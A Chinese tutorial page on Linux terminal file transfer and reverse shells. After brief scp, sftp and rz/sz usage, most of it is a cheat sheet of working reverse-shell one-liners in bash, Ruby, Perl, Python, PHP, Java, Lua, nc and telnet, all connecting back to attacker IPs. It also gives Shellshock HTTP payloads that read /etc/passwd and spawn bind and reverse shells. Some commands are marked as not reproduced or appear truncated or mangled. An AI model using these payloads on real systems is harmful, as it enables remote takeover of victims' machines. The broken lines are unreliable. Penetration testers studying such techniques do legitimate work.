Linux下终端实现文件上传与反弹
时间:2022-07-28
本文章向大家介绍Linux下终端实现文件上传与反弹,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
[TOC]
文件上传下载
(1) rz/sz命令
描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用;
sz 文件名.txt #下载的文件
rz c:filename.txt #上传windows下会弹出选择框让您选择文件
(2) scp命令
描述:scp依赖于ssh通道进行文件上传和下载
#上传到远程
scp localfile.txt [email protected]:/tmp/upfile.txt
#下载到本地
scp [email protected]:/tmp/remotefile.txt D:Downloadfile.txt
(3) sftp命令
描述:sftp(SSH File Transfer Protocol-安全文件传送协议)也是依赖于SSH是它的一部分;sftp 与 ftp 有着几乎一样的语法和功能
#登录
sftp -o port=1000 [email protected] ip
#上传
put /path/filename(本地主机) /path/filename(远端主机)
#下载
get /path/filename(远端主机) /path/filename(本地主机)
常用反弹脚本
描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(不单独罗列了)中出现以下的方式方法 测试环境:
AttackIP:Kail 192.168.200.252
ClientIP:Centos 192.168.200.200
BASH反弹Shell
方式1:
/bin/bash -i >& /dev/tcp/10.24.87.54/4444 0>&1 #Client
nc -lvvp 4433 #Attack
WeiyiGeek.
方式2:采用文件描述符绑定反弹shell
/bin/bash -i > /dev/tcp/10.2.10.16/4444 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/192.168.200.252/4444; sh <&196 >&196 2>&196
WeiyiGeek.
方式3
exec 5<>/dev/tcp/192.168.200.252/4444
# or:
exec 5<>/dev/tcp/192.168.200.252/4444 ; while read line 0<&5; do $line 2>&5 >&5; done
WeiyiGeek.
方式4
Hacker: nc -nvlp 4444
Victim: /bin/bash -i > /dev/tcp/192.168.200.252/4444 0<&1 2>&1
#可使用metasploit来获取shell
msfconsle
use exploit/multi/handler
ruby反弹shell
ruby -rsocket -e 'f=TCPSocket.open("192.168.200.200","4444").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' #可将sh->bash
补充:未复现成功
perl反弹shell
perl -e 'use Socket;$i="10.24.87.54";$p=14444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Python反弹Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.24.87.54",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty;pty.spawn("/bin/sh")' #可以在低权限用来sudo 获取高级权限
WeiyiGeek.
PHP反弹Shell
php -r '$sock=fsockopen("192.168.200.252",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
WeiyiGeek.
JAVA反弹Shell
描述:未能复现
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.200.252/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
Go反弹Shell
LUA反弹Shell
描述:需要安装-未能复现
lua5.3 -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.200.200','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC命令反弹Shell
方式1
#反向连接
nc -e /bin/sh 192.168.200.252 4444 #Client
nc -lvvp 4444 #Attack
#反向连接
mknod /tmp/backpipe p && /bin/sh 0</tmp/back pipe | nc 192.168.200.254 4444 1>/tmp/backpipe
nc -lvnp 4444 #Attack
WeiyiGeek.
方式2
#Client端
# 如果 -e 参数被禁用,可以尝试以下命令
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.200.252 4443 0</tmp/
# 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.252 4444>/tmp/f
#Attacker
nc -lvnp 4444
telnet命令反弹shell
方式1 描述:攻击端需要监听两个端口,一个4444端口执行命令另一个8888端口接受执行命令后的结果;
Hacker: nc -nvlp 4444
Hacker: nc -nvlp 8888
Victim: telnet 192.168.200.252 4444 | /bin/bash | telnet 192.168.200.252 8888
WeiyiGeek.
方式2: 描述:如果 netcat 不可用或者 /dev/tcp
mknod /tmp/backpipe p && telnet 192.168.200.252 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
#mknod a p; telnet x.x.x.x 2222 0<a | /bin/bash 1>a
WeiyiGeek.
Shellshock方式反弹shell
# 一个发现并利用服务器 Shellshock 的工具
./shocker.py -H 192.168.1.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; echo $(</etc/passwd)rnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
# 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
# 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法